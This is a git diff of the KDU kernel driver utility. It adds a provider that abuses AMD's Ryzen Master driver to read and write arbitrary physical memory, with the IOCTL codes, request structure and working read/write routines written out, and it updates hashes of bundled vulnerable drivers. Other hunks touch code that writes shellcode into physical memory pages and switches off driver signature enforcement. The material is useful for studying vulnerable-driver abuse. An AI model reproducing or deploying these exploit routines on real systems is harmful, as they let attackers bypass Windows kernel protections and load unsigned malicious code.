diff --git a/KDU.sha256 b/KDU.sha256 index cefacc7..0ab08bd 100644 --- a/KDU.sha256 +++ b/KDU.sha256 @@ -27,20 +27,20 @@ f12057a99c6b20abf6d9c3df949d794b124ca19b189498ce2beaa5beeb2b077c *Source\Hamakaz 7ab76cd44d765178c690d1f48bef705b34c4fe97fb11822b28ece3ff7d351f62 *Source\Hamakaze\consts.h 09970cfcb9bfb7a8964ae4ec48fd15c1805e93ea81c858de2793691eefda3881 *Source\Hamakaze\diag.cpp a4fa97b9f2be414bc49881450d5935d2b48c1029d3bee655cd6e77e645327d74 *Source\Hamakaze\diag.h -edf73e768eb59f72353878224f408b2f562a03400ac49a5c48aea63779fb6677 *Source\Hamakaze\drvmap.cpp +849799b216483d532efa4174e3f2b38d0c812f1ff9b5d98ae41c10c0459f1e04 *Source\Hamakaze\drvmap.cpp 3155737710664a1a2ca28640687a0cbde115f15ce0b48a4833e87173941d4f00 *Source\Hamakaze\drvmap.h -cf9f69fb017a0a386aad472fc7d4dd51215f2871367954a145fb0596635aa8e8 *Source\Hamakaze\dsefix.cpp +79ce8ae7ab618efc0072b6b8baf90b92f6d1af8e9615089d41854c0d85864bce *Source\Hamakaze\dsefix.cpp 5131aa81ffb17238a092b313a954a6d9e9203636ba47562f0a7f8d4daf306221 *Source\Hamakaze\dsefix.h 4c5d5d2f0a0d3e63151c14fafc9a33598ed278b3d2059fa9cd49a08cfbbd3c1f *Source\Hamakaze\global.h ea0d8d42a5e7d7fb908c52351f99c69f2019c105d07a1f536756691ab2a74174 *Source\Hamakaze\ipcsvc.cpp 888a436b666b00592d29e8a2e82a9b5c7f0c1d4890aaab8cb2f623181ad07092 *Source\Hamakaze\ipcsvc.h -a4e89cb56969794e8e3570551367719791d70d51710e890ba361a328154c4197 *Source\Hamakaze\KDU.vcxproj -9a3561b6dcbc7d4d4273d130237477aaafd80c64fb1531f3956f10ff5283a74a *Source\Hamakaze\KDU.vcxproj.filters -53bd6092626ed8885fd3b056e704d7ffb05e20decf2c53dd8cc30711111eab94 *Source\Hamakaze\KDU.vcxproj.user -623e430509d7357266e4be5f23ae9adea4a13270c476775cc7fc3b4cd18d052a *Source\Hamakaze\kduplist.h -994d64b991420aff378b712de5c90efdf673373bc143765438d8625582384985 *Source\Hamakaze\kduprov.cpp -7d4e901f7e96c7063581c199fda12136d72c551ee7541a8853adb498b420cc48 *Source\Hamakaze\kduprov.h -f4d0ab08aa39a277aaa6e21f89b6d6e3a02f437898f21f494f7c3e002e79caaa *Source\Hamakaze\main.cpp +453492ffb36f26cb4d1fc1ad6c0953be45425f98d5fe8de3f12d768f4d9a947c *Source\Hamakaze\KDU.vcxproj +67808d9ad6f599957d11e5c36ec3845bcdacb6a97337ef96c41af7e5a9d8564e *Source\Hamakaze\KDU.vcxproj.filters +c27015b11e42f5fd549224c499386720b27a82dc6464da0b75672ca3ec606ffd *Source\Hamakaze\KDU.vcxproj.user +d0c73c56c8ff26566963332c79992762e8ad83832018267cddab85bd4b1b52ba *Source\Hamakaze\kduplist.h +9282d0885c4961e896423adf431479d752a91ad7fbf036df4a94a3967510b188 *Source\Hamakaze\kduprov.cpp +7b9059d8beb6c9390db2d7f1cb398e78b1100c5f8a838a1604bbafbb4be0b8eb *Source\Hamakaze\kduprov.h +79e850d593d17f9f6b586050a20f8a1bba5324d92270e2c6f4161b8332c166a4 *Source\Hamakaze\main.cpp e1a8de39e2d3d0bae5d9bbe1b18e849f5d070feb1d37f838176ede5a401f35ec *Source\Hamakaze\pagewalk.cpp 545ecf7e669b6b28753a02e33fae6f503750d26cf0bf9089701f401fd24e0dd1 *Source\Hamakaze\pagewalk.h 40067200848300c557bb687db61734f658704afb7ad3be07e4108d80f32c9d48 *Source\Hamakaze\ps.cpp @@ -51,9 +51,9 @@ eb15810b52b16482f3a3a679fbeed102257bfa0416243e74fce5b634daf9b074 *Source\Hamakaz 37b72edb872268e4e9f8a12853f4cbf726038cf7f0dc5e0f4239888818f18fed *Source\Hamakaze\shellcode.h 5428b9eb02810dbc4bfd715ec657ee35a5e61e53079c65f05e1eea4f8a6fa4a0 *Source\Hamakaze\shellmasm.asm e35386b3196b64c28fcd8f09eeb8b74adab7ec05ccf38b4041cee4b04f9eab1f *Source\Hamakaze\sig.h -78fc29a6d5a8c9e6af09c688254047e30a6180798c127361c4da76446fab045d *Source\Hamakaze\sup.cpp -d04ee4637b42d63c1ae22242ed320d76939da45a0c5f2fdbea81ef57d770178c *Source\Hamakaze\sup.h -d3b53ec59f6c8cdb08b740d63602f5e954c86a5b5fc813c3e826a7bdf6224858 *Source\Hamakaze\tests.cpp +f2bd264078225c32c71f8fed3fc97d2d26ef30f1ba1b7f3d84998a07f7c8fbd1 *Source\Hamakaze\sup.cpp +988501759bf5c44868569724ea249f22da600675a012aa2f59dccafe97b3e164 *Source\Hamakaze\sup.h +23a3857c01b3decee12138abcb90ec8e7751c7eec3038c546a47b9b76465b770 *Source\Hamakaze\tests.cpp ad77ae168188a9748713ab5f7532447ca50a539fa8ebbec5ac86b273696b028e *Source\Hamakaze\tests.h 0fd6c0631ae553d443bd01c502b8917379316530bf6de0a5f4204331ddb7664d *Source\Hamakaze\victim.cpp b4165a29658b4770627aaac15bc36add0a47892d738920de1fc6ec73bb1c3cce *Source\Hamakaze\victim.h @@ -95,6 +95,8 @@ f9463d258e2528738ee749a86683079e8b870b8c84d292352952be207b9daff5 *Source\Hamakaz 8449d829c3285f5a22521fba0db1516c487818f901fd28939fc18fbc3da0eedb *Source\Hamakaze\idrv\procexp.h bd0c80bc267d1fa0b423a453a22958a8b1ab1ede29291217cc045a9a877a347f *Source\Hamakaze\idrv\rtcore.cpp 08f75ea88874a507c132bafc412c88f9cc9862f78c238dcbd0cc480a04a438f4 *Source\Hamakaze\idrv\rtcore.h +4d9e8e5e822dcb1c8ff02bf2698041aad54a0456935ff1de0be84c01951f708c *Source\Hamakaze\idrv\ryzen.cpp +653d97baf28622ea8ffa0fdc99c201343213ab0a7318caef012a8967cc51660c *Source\Hamakaze\idrv\ryzen.h a0ed8a22c14b35bccd1ff0f45c8b23cad0f8c3af1d8e924caf4bfd63dfb02d89 *Source\Hamakaze\idrv\rzpnk.cpp 36ec0baeec7b61dbd9936507fcf1bf5aefec08e96ffe3bcb4883785ea2d9a542 *Source\Hamakaze\idrv\rzpnk.h 48cd4fcd61fb5649064726cb7cc42e9977240c11731cf32a4e971eb39ab51b3d *Source\Hamakaze\idrv\winio.cpp @@ -104,10 +106,10 @@ d0e354d2f97e993e5e40fb6bb2b99b5bc753beb23f8213d44f99c0309210c1e8 *Source\Hamakaz 9a92bda63624239e5dec54cf94a43ad396efe1ad59465f1359b0aaa94cbe8e11 *Source\Hamakaze\idrv\zemana.cpp da1ea3c2ceebfdc6e5c338461dc214798870a0d6aa16f7f23c045123fa450f71 *Source\Hamakaze\idrv\zemana.h de7bdf0bd4acec31c963b916331399bce23c155e3002f0a8152a4a36af13faf8 *Source\Hamakaze\res\274.ico -e74ac40b6045804ef8b8087d6e99efbb8b4606299ac5d0b17c237aa403986e26 *Source\Hamakaze\res\SB_SMBUS_SDK.bin -0c765cca185616fb89840a65036b1668372deb644d80d21009830ac8f0405d38 *Source\Hamakaze\res\Taigei32.bin +e4c9e433ddad49bf69f67419a999b657848fe030c9f784ad2be2157051800984 *Source\Hamakaze\res\SB_SMBUS_SDK.bin +1895eac97152d51f1742b2a6899f6fd4804d672e3d67017e2c540c2dc8437f09 *Source\Hamakaze\res\Taigei32.bin 1232f65b57bc8732ead29a730308f6c67bc53a2f9fafd47f8c7cc4b4f676a9e9 *Source\Hamakaze\utils\GenAsIo2Unlock.exe -3959582f89949242cec51519f0fd8b1bfc6e1cce43c85d555c76431d78772115 *Source\Shared\consts.h +a8bbfe3737b1a8bf3757489724a2562840b64e3e29dde11f569887c1910c153c *Source\Shared\consts.h 1b804d8eaf2fc0f55d24b380064e07f84feb49f86b731368a6d6c0a6ba9a7127 *Source\Shared\kdubase.h e0ba365c8aa8e66fddd0f28bca4b827725911480fdcd968df2792c370f13ef42 *Source\Shared\ldr\ldr.cpp 37003367e625e218bf7e4c22850ac7d2efe926a6a832d29bc20a9f8b19a479af *Source\Shared\ldr\ldr.h @@ -150,47 +152,48 @@ d563bd3017a274175ca6b7e8f93333a3e3ec096d1f3034acfa4e17d8b2420c99 *Source\Taigei\ c06a75b13f855a94d46616796e024c52b499f8f92cf00ccb571ddbc6ff574676 *Source\Taigei\Taigei.vcxproj.user 9e82ce97464b666dad14ffde32e5450a0974d1194ca68cd10e9b2611599dfc28 *Source\Tanikaze\export.def 5bbbcc6c275008ffdd765a3fa53ed3e4ae16ea51bf6ae66c2271f6f065ba0525 *Source\Tanikaze\main.cpp -418cbeb793f2e23272dcf6a0e0f4d284b2c3035b3a81e456b58ecffa41074df8 *Source\Tanikaze\resource.h -629257a81c9d59dc4aef0f38cd2a9f9fdcc8dc3f3eb90c1f07d83bd688c0b2de *Source\Tanikaze\resource.rc -b4221f46266b8611ed1a342507330d8947709740c027d5abb5b2a042300c2fb0 *Source\Tanikaze\tanikaze.h -b709923ba79da9be442d77c95ec3d66f8b5f9406dff75bdc07bb0e18c93e3bfd *Source\Tanikaze\Tanikaze.vcxproj -f4645460590977d49a0a3c17ffc05df689064a86abf41a5fbf2b07b07017f473 *Source\Tanikaze\Tanikaze.vcxproj.filters +85769e09a6b8f28a1702a2b418fd0410f4d866225198bfb49a8118c6ab7c44cc *Source\Tanikaze\resource.h +ed1f7dbef4a0fe0f487044c8662d52997a3da7907d6ba06707a8fc6251230c72 *Source\Tanikaze\resource.rc +ba591c91af1581f4ef1e59bded47362240e7e9fd42d71e3dc2993aefd4139343 *Source\Tanikaze\tanikaze.h +653ed60972f46872b43a5a485abdd027e112cd9b8f041d3ee7615d304b7feb53 *Source\Tanikaze\Tanikaze.vcxproj +3e9b2bebcfbe721011494bac7582a72f290580a1c7cdbc642596d7c8516e441e *Source\Tanikaze\Tanikaze.vcxproj.filters c06a75b13f855a94d46616796e024c52b499f8f92cf00ccb571ddbc6ff574676 *Source\Tanikaze\Tanikaze.vcxproj.user -2f5e8468517867b2fce63d9a534ca66daa930610cf30ded3638dfffc4bda223d *Source\Tanikaze\data\AsusCertService.bin -ca28fc8712f25397317e052efc6c60633c07bb90086524cd250e9b7122de256b *Source\Tanikaze\data\dbutilcat.bin -554280e1c1ad7ca35eef2c34ec5b83f5bfcd8f7e09f21e39b2b26b8a8dd58c0b *Source\Tanikaze\data\dbutilinf.bin -4dbf01937c1d2f3a92c4e88040d345bdec10e0b6d21cf6c0ae60fee82c18df21 *Source\Tanikaze\data\KMUEXE.bin -9ad33a72241e2361062356cafbc7d863f7af7c52e00ce81a914d8a76c82d06d4 *Source\Tanikaze\data\KMUSIG.bin -dec5b0d9ea5594aaee89c4175112b4cd7f7cb6d0c4997cc91542a23265916a12 *Source\Tanikaze\drv\ALSysIO64.bin -9e0af195d64902ae0a48ef64e857f402ecb846875508cbce659506207943d853 *Source\Tanikaze\drv\amsdk.bin -6ebef81387137d8135bc72e83e32f96a89ef5b934d689b220788cf814e565e00 *Source\Tanikaze\drv\asio2.bin -b219b00a2635c3787e54d9a585d8d08dc55a7f93855a51a0bf3cb7882994a357 *Source\Tanikaze\drv\AsIO3.bin -d993ea530fce41a3472742c9888459c5c68999752e06d3630ac978a582e98fea *Source\Tanikaze\drv\AsrDrv106.bin -f8ea6fd0506ffcc8364a6c85656bd30960f2d7bc9440e1054de5d6b070c3b787 *Source\Tanikaze\drv\ATSZIO64.bin -a7ec33b204af2523e8ba1c3519878dbca2d5774db63f9addead84a8922bc8bc9 *Source\Tanikaze\drv\dbk64.bin -c7a77ce1b09da2876b1e4934d129e48598b2c574a7b068b47b7d6844e72b2ece *Source\Tanikaze\drv\DbUtil2_3.bin -b7734dc0e25dd03d26ec815674f9270e826a632b4a395a53762a5586d0fcafde *Source\Tanikaze\drv\dbutildrv2.bin -5f750a27bcb1c508138f3720170b5b3427e600c7a5c838142f2c66d8ef4ce3c2 *Source\Tanikaze\drv\DirectIo64.bin -74deee4927bc802c298aba9e907a97267d4b84f85a8491d6cf962a209ed192e9 *Source\Tanikaze\drv\DirectIo64_2.bin -d5a12d7a2c259f531f77f5a97ed4b25a8731ea65e3275b0802a56281997ad269 *Source\Tanikaze\drv\ene2.bin -a0388296f3de1b25e51871d31208990c5dbfd38f343b7f2727021141399ccc98 *Source\Tanikaze\drv\EneIo64.bin -a1f111e639991c03e380ae334b52089a1c03f572517f7ad69cd7a32cf68ae542 *Source\Tanikaze\drv\EneTechIo64.bin -a5c049f4ed36437eaafdd5ed3cd2121c55a10bc10d6e6f439d2d6d22ed24c0a5 *Source\Tanikaze\drv\gdrv.bin -d7a6821f8cdfe6b19bd42ee9a55cd8e611a9f3020112400453d68a059a26bcc6 *Source\Tanikaze\drv\GLCKIO2.bin -a2f715f9ddd0d35228aa49e176f114dc1f764dff739eac8bc1ed763d78bfa864 *Source\Tanikaze\drv\gmerdrv.bin -a83065767f5b4a4e9aa7f8ae55c2926692573b476f08e3ba28acaab869db0a6e *Source\Tanikaze\drv\HW64.bin -f5fa6003d04a559236022c76e340ff5204782b0191f08f78386191117d715e1a *Source\Tanikaze\drv\inpoutx64.bin -9faa792fe0482a797638e071d0276297bfde9e201676faefe57f1c6deef02387 *Source\Tanikaze\drv\iQVM64.bin -6035a3ea0a7408b9d2f29378430e03e7d632018d0bec4452110a254710f07384 *Source\Tanikaze\drv\kprocesshacker.bin -62e06f063368458b61d2fc90eebf85a880e4e015ecebcc015f046f33266ffb80 *Source\Tanikaze\drv\lha.bin -04ad44b17741d76b46e13eb9a1e5942cf26dc140d4cd799eb874d29d80f672f3 *Source\Tanikaze\drv\mimidrv.bin -378cb37f525dde836b9b07af856200ec61d9219a46a25871eeb04f88c1ec5c20 *Source\Tanikaze\drv\MsIo64.bin -87946c660a1b77dfa7c150d2a13354b750b1ca185a06309cf18a4bcbc5589a1f *Source\Tanikaze\drv\Phymemx64.bin -d6856f8f126720dd2955c3c9ec30540450e3fbf6f3cfddc6f2651d871ec15c0f *Source\Tanikaze\drv\procexp.bin -75db8c3a1936f1f84d8d560005c114ff1cdf06f2efb8bcae45092b44f7108851 *Source\Tanikaze\drv\RTCore64.bin -90f31199f19ced028e53733ddcc968d0ed501dc1df68354fc563f57b0173d4de *Source\Tanikaze\drv\rtkio64.bin -0eb0fc53669c4069d6259ce65a141630f38e2261241938cfcb149cd20c9d6049 *Source\Tanikaze\drv\SysDrv3S.bin -56f06cf125ef6549a5ffd8e58878aecdb0f7377de32aee67674f9ae98b5eb3a5 *Source\Tanikaze\drv\WinRing0x64.bin +e5b34092e5966007527d8947c0ca7fd2743d15ef33dcbfa6350ccf4f25a39e2c *Source\Tanikaze\data\AsusCertService.bin +2fc87991b1e2cd078b36d207c198d4a7597967f9567496a60d621307d2ffa10a *Source\Tanikaze\data\dbutilcat.bin +8b2e5ac07302d967fdc7cedbc3a92634db254f4e5e4a0f0f951fdd52f4706ed0 *Source\Tanikaze\data\dbutilinf.bin +ef558697fedc6ac7bc4a4ef4c6b7843a28b2ea170a5cb2f1ff2dfea767be8c29 *Source\Tanikaze\data\KMUEXE.bin +cdc55b53f18a2e7108783ad35dd02ec8180da709cbb9944f33da84f0125a0c22 *Source\Tanikaze\data\KMUSIG.bin +177810f5deefebc84736a5deef85abc8626d9536e31c11cbd749a6ba4f1dee0f *Source\Tanikaze\drv\ALSysIO64.bin +9037d39509d73a7cf38ed40ece7f07dc4511e8eb47f4dcd6be53b9d251eb5a20 *Source\Tanikaze\drv\AMDRyzenMasterDriver.bin +86fa99019b48f86279c132d73cb0d4ace153f946b2894f5da1bed0374b30e785 *Source\Tanikaze\drv\amsdk.bin +f7f22651f4e812d3a4a01b4d10fc11fe67c5e0225a3e246a301457b4f5129cad *Source\Tanikaze\drv\asio2.bin +5c333394897e6e4674c3f9711685b0ac39d97b485433440840d16b9e0da961d3 *Source\Tanikaze\drv\AsIO3.bin +c54e4ed8fc8ee65be5bf90d2bc07771281fe1a0c60e48d0353d40cb2448acf1a *Source\Tanikaze\drv\AsrDrv106.bin +9e01a403023b369852cc17b51ddc984e78d30a409c55bd27ec54c99788582f1e *Source\Tanikaze\drv\ATSZIO64.bin +0bd05c6088d906efdd84877f693d698393157393bda36d526170a8192c4c72ee *Source\Tanikaze\drv\dbk64.bin +474246e4295be8ba6cbebebf094d43cc7fe3fabadf68cfea97b581556b92487f *Source\Tanikaze\drv\DbUtil2_3.bin +5e854a3f2854bcaf9619655849ab37091202bdcdf7cf4cb2c83f72294b11b12a *Source\Tanikaze\drv\dbutildrv2.bin +0617a3539b05223c88de2904fe1830d22d84498c0e517a58fb83c49c9658971b *Source\Tanikaze\drv\DirectIo64.bin +c4ba2ccf8f9f6517f286c3a72802dff0519b59b02ac0ae7899c081ad75e90a9a *Source\Tanikaze\drv\DirectIo64_2.bin +20b21c980e134585d21cd0eb17ec303cb96149e2310008e547b4acb6e070d42c *Source\Tanikaze\drv\ene2.bin +7eab2260c44d299a532679cdc59ad73199c6ca312473e4e0af59811dabac5866 *Source\Tanikaze\drv\EneIo64.bin +9eb9e88e8182e82bfc2eeaf53a383dfae6a22c9df0e9d4db0bf3bf8d2ce45df2 *Source\Tanikaze\drv\EneTechIo64.bin +20aa1739fb0ad2d8f426064b93a0931f898fbdee2587ec3df8228f6aa24c4e6f *Source\Tanikaze\drv\gdrv.bin +3bb4b9bed6ec54a88e86530fb8d95df8f7cbe64d17b325663f815deba425c600 *Source\Tanikaze\drv\GLCKIO2.bin +308bf61fabaa9d29c79dc92b72527810b773c608ca1afa5c98cd61d916acd726 *Source\Tanikaze\drv\gmerdrv.bin +dc4d77a8bcc3e3fdfe5c9bc15b67261d5f301d588d28e69d05767076f60f3964 *Source\Tanikaze\drv\HW64.bin +6a1e71d32a56a497706541d8e2b1283ae65413be6cb9580837274259bb638124 *Source\Tanikaze\drv\inpoutx64.bin +cabed16eceebb7399d565eebf50023f1d10c7e7a99a096c7f6240e2a96c2b0a7 *Source\Tanikaze\drv\iQVM64.bin +cb7c160ebfd3013859c811c42dfbd6ba1e327d299ce304766edbc2c403259a22 *Source\Tanikaze\drv\kprocesshacker.bin +0d792ba47a116c951d9d6fccb13007229db8c2e0ed1a8774189c4b2ef2c9a6d8 *Source\Tanikaze\drv\lha.bin +36ea25d89914797b480159428b17cb3dbb6671a568c23c4797053c3da193b082 *Source\Tanikaze\drv\mimidrv.bin +34ed60208e2e4e1ab06439871d3ff07231a882a7fb5392a3a5177f543d66f2f0 *Source\Tanikaze\drv\MsIo64.bin +7e8d7e6c50ae7c514af0510684f035f2b14ab13a5ef78130ecb7218eb5b21857 *Source\Tanikaze\drv\Phymemx64.bin +909f12a24d007b9886f37d789ab04f8a306cb96a9ab450912c107c5bd50e2200 *Source\Tanikaze\drv\procexp.bin +7d0bdea24cac97d348a002c55c051bab86eb3c4ed7d45ec33ad1e78ab433a1fe *Source\Tanikaze\drv\RTCore64.bin +fc69bce06f920e67783af2051a9cc950231e1bc4cac17f2d79bd2818853a3131 *Source\Tanikaze\drv\rtkio64.bin +20d33bf70f69cb34ed5f5c46ba83521e57a10215956f26cdab4e42a3d6831113 *Source\Tanikaze\drv\SysDrv3S.bin +504a606086c4480b33870ffa29d0f9d7ecb313560ca83c7c52c7a3f71bda113c *Source\Tanikaze\drv\WinRing0x64.bin bf86c929ee9ee2bb88187e1d82bcddfe83375c73e6787b83a7e414dff691e35b *Source\Utils\readme.txt c776bc97ee2fbe48d3e148bb37c887862e6de212d4391d6df9b5f149e40ed223 *Source\Utils\GenAsIo2Unlock\GenAsIo2Unlock.sln c4a28bc43a63a40ff2d8699fa261ee1ced6783d199043484ea7921e8d078ea08 *Source\Utils\GenAsIo2Unlock\GenAsIo2Unlock.vcxproj diff --git a/README.md b/README.md index 8037dfd..a2fb527 100644 --- a/README.md +++ b/README.md @@ -134,6 +134,7 @@ You use it at your own risk. Some lazy AV may flag this tool as hacktool/malware | 27 | PassMark | DirectIo64 | PassMark OSForensics | Original | Any | | | 28 | ASRock | AsrDrv106 | Phantom Gaming Tuning | RwEverything | 1.0.6 and below | | | 29 | Arthur Liberman| ALSysIO64 | Core Temp | Original | 2.0.11 and below | | +| 30 | AMD | AMDRyzenMasterDriver | Multiple software packages | Original | 2.0.0.0 and below | | ###### *At commit time, data maybe inaccurate. diff --git a/Source/Hamakaze/KDU.vcxproj b/Source/Hamakaze/KDU.vcxproj index 11cdbf9..e815f36 100644 --- a/Source/Hamakaze/KDU.vcxproj +++ b/Source/Hamakaze/KDU.vcxproj @@ -148,6 +148,7 @@ + @@ -198,6 +199,7 @@ + diff --git a/Source/Hamakaze/KDU.vcxproj.filters b/Source/Hamakaze/KDU.vcxproj.filters index e826301..c69bb6f 100644 --- a/Source/Hamakaze/KDU.vcxproj.filters +++ b/Source/Hamakaze/KDU.vcxproj.filters @@ -180,6 +180,9 @@ Source Files\idrv + + Source Files\idrv + @@ -335,6 +338,9 @@ Source Files\idrv + + Source Files\idrv + diff --git a/Source/Hamakaze/KDU.vcxproj.user b/Source/Hamakaze/KDU.vcxproj.user index d3ab9ed..47094a7 100644 --- a/Source/Hamakaze/KDU.vcxproj.user +++ b/Source/Hamakaze/KDU.vcxproj.user @@ -1,11 +1,11 @@  - -prv 29 -dse 6 + -list WindowsLocalDebugger - -prv 29 -dse 6 + -list WindowsLocalDebugger \ No newline at end of file diff --git a/Source/Hamakaze/drvmap.cpp b/Source/Hamakaze/drvmap.cpp index 97cb2a5..0076a63 100644 --- a/Source/Hamakaze/drvmap.cpp +++ b/Source/Hamakaze/drvmap.cpp @@ -796,14 +796,14 @@ BOOL WINAPI KDUProcExpPagePatchCallback( signatureSize)) { printf_s("\tFound page with code at address 0x%llX\r\n", Address); - Params->cbPagesFound += 1; + Params->ccPagesFound += 1; if (WritePhysicalMemory(Context->DeviceHandle, Address + PE152_DISPATCH_PAGE_OFFSET, Params->pvPayload, Params->cbPayload)) { - Params->cbPagesModified += 1; + Params->ccPagesModified += 1; printf_s("\tMemory has been modified at address 0x%llX\r\n", Address + PE152_DISPATCH_PAGE_OFFSET); } else { @@ -869,8 +869,8 @@ BOOL KDUMapDriver2( if (readyEventHandle) { enumParams.bWrite = TRUE; - enumParams.cbPagesFound = 0; - enumParams.cbPagesModified = 0; + enumParams.ccPagesFound = 0; + enumParams.ccPagesModified = 0; enumParams.Context = Context; enumParams.pvPayload = pvShellCode; enumParams.cbPayload = ScSizeOf(Context->ShellVersion, NULL); @@ -881,8 +881,8 @@ BOOL KDUMapDriver2( if (supEnumeratePhysicalMemory(KDUProcExpPagePatchCallback, &enumParams)) { printf_s("[+] Number of pages found: %llu, modified: %llu\r\n", - enumParams.cbPagesFound, - enumParams.cbPagesModified); + enumParams.ccPagesFound, + enumParams.ccPagesModified); // // Run shellcode. diff --git a/Source/Hamakaze/dsefix.cpp b/Source/Hamakaze/dsefix.cpp index 54e5d2b..c486031 100644 --- a/Source/Hamakaze/dsefix.cpp +++ b/Source/Hamakaze/dsefix.cpp @@ -479,8 +479,8 @@ BOOL KDUControlDSE2( DSEValue); enumParams.bWrite = TRUE; - enumParams.cbPagesFound = 0; - enumParams.cbPagesModified = 0; + enumParams.ccPagesFound = 0; + enumParams.ccPagesModified = 0; enumParams.Context = Context; enumParams.pvPayload = shellBuffer; enumParams.cbPayload = (ULONG)shellSize; @@ -491,8 +491,8 @@ BOOL KDUControlDSE2( if (supEnumeratePhysicalMemory(KDUProcExpPagePatchCallback, &enumParams)) { printf_s("[+] Number of pages found: %llu, modified: %llu\r\n", - enumParams.cbPagesFound, - enumParams.cbPagesModified); + enumParams.ccPagesFound, + enumParams.ccPagesModified); // // Run shellcode. diff --git a/Source/Hamakaze/idrv/ryzen.cpp b/Source/Hamakaze/idrv/ryzen.cpp new file mode 100644 index 0000000..7f41eb6 --- /dev/null +++ b/Source/Hamakaze/idrv/ryzen.cpp @@ -0,0 +1,148 @@ +/******************************************************************************* +* +* (C) COPYRIGHT AUTHORS, 2022 +* +* TITLE: RYZEN.CPP +* +* VERSION: 1.28 +* +* DATE: 02 Dec 2022 +* +* AMD Ryzen Master Service Driver routines. +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +*******************************************************************************/ + +#include "global.h" +#include "idrv/ryzen.h" + +/* +* RmValidatePrerequisites +* +* Purpose: +* +* Check if the current CPU vendor is AMD. +* This driver won't work on anything else as it has hard block on driver entry. +* +*/ +BOOL RmValidatePrerequisites( + _In_ KDU_CONTEXT* Context +) +{ + UNREFERENCED_PARAMETER(Context); + + return supIsSupportedCpuVendor(CPU_VENDOR_AMD, CPU_VENDOR_AMD_LENGTH); +} + + +/* +* RmReadPhysicalMemory +* +* Purpose: +* +* Read from physical memory. +* +*/ +BOOL WINAPI RmReadPhysicalMemory( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR PhysicalAddress, + _In_ PVOID Buffer, + _In_ ULONG NumberOfBytes) +{ + BOOL bResult = FALSE; + + RMDRV_REQUEST* pRequest; + SIZE_T size; + + size = sizeof(RMDRV_REQUEST) + NumberOfBytes; + pRequest = (RMDRV_REQUEST*)VirtualAlloc(NULL, size, + MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + + if (pRequest) { + + if (VirtualLock(pRequest, size)) { + + pRequest->PhysicalAddress.QuadPart = PhysicalAddress; + pRequest->Size = NumberOfBytes; + + bResult = supCallDriver(DeviceHandle, + IOCTL_AMDRM_READ_MEMORY, + pRequest, + sizeof(RMDRV_REQUEST), + pRequest, + (ULONG)size); + + if (bResult) { + + RtlCopyMemory( + Buffer, + RtlOffsetToPointer(pRequest, sizeof(RMDRV_REQUEST)), + NumberOfBytes); + + } + + VirtualUnlock(pRequest, size); + } + + VirtualFree(pRequest, 0, MEM_RELEASE); + + } + + return bResult; +} + +/* +* RmWritePhysicalMemory +* +* Purpose: +* +* Write to physical memory. +* +*/ +BOOL WINAPI RmWritePhysicalMemory( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR PhysicalAddress, + _In_ PVOID Buffer, + _In_ ULONG NumberOfBytes) +{ + BOOL bResult = FALSE; + RMDRV_REQUEST* pRequest; + SIZE_T size; + + size = sizeof(RMDRV_REQUEST) + NumberOfBytes; + + pRequest = (RMDRV_REQUEST*)VirtualAlloc(NULL, size, + MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + + if (pRequest) { + + if (VirtualLock(pRequest, size)) { + + pRequest->PhysicalAddress.QuadPart = PhysicalAddress; + pRequest->Size = NumberOfBytes; + + RtlCopyMemory( + RtlOffsetToPointer(pRequest, sizeof(RMDRV_REQUEST)), + Buffer, + NumberOfBytes); + + bResult = supCallDriver(DeviceHandle, + IOCTL_AMDRM_WRITE_MEMORY, + pRequest, + (ULONG)size, + NULL, + 0); + + VirtualUnlock(pRequest, size); + } + + VirtualFree(pRequest, 0, MEM_RELEASE); + + } + + return bResult; +} diff --git a/Source/Hamakaze/idrv/ryzen.h b/Source/Hamakaze/idrv/ryzen.h new file mode 100644 index 0000000..1724e39 --- /dev/null +++ b/Source/Hamakaze/idrv/ryzen.h @@ -0,0 +1,54 @@ +/******************************************************************************* +* +* (C) COPYRIGHT AUTHORS, 2022 +* +* TITLE: RYZEN.H +* +* VERSION: 1.28 +* +* DATE: 02 Dec 2022 +* +* AMD Ryzen Master Service Driver interface header. +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +*******************************************************************************/ + +#pragma once + +#define FILE_DEVICE_AMD_RM (DWORD)0x8111 + +#define RM_READ_MEMORY (DWORD)0xBC2 +#define RM_WRITE_MEMORY (DWORD)0xBC3 + +#define IOCTL_AMDRM_READ_MEMORY \ + CTL_CODE(FILE_DEVICE_AMD_RM, RM_READ_MEMORY, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x81112F08 + +#define IOCTL_AMDRM_WRITE_MEMORY \ + CTL_CODE(FILE_DEVICE_AMD_RM, RM_WRITE_MEMORY, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x81112F0C + +#pragma pack( push, 1 ) //strict sizeof 0xC +typedef struct _RMDRV_REQUEST { + PHYSICAL_ADDRESS PhysicalAddress; + ULONG Size; + // UCHAR Data[ANYSIZE_ARRAY]; //not a part of this structure +} RMDRV_REQUEST, * PRMDRV_REQUEST; +#pragma pack( pop ) + +BOOL RmValidatePrerequisites( + _In_ KDU_CONTEXT* Context); + +BOOL WINAPI RmReadPhysicalMemory( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR PhysicalAddress, + _In_ PVOID Buffer, + _In_ ULONG NumberOfBytes); + +BOOL WINAPI RmWritePhysicalMemory( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR PhysicalAddress, + _In_ PVOID Buffer, + _In_ ULONG NumberOfBytes); diff --git a/Source/Hamakaze/kduplist.h b/Source/Hamakaze/kduplist.h index 89f742b..8ed591f 100644 --- a/Source/Hamakaze/kduplist.h +++ b/Source/Hamakaze/kduplist.h @@ -6,7 +6,7 @@ * * VERSION: 1.28 * -* DATE: 01 Dec 2022 +* DATE: 02 Dec 2022 * * Providers global list. * @@ -38,6 +38,7 @@ #include "idrv/zemana.h" #include 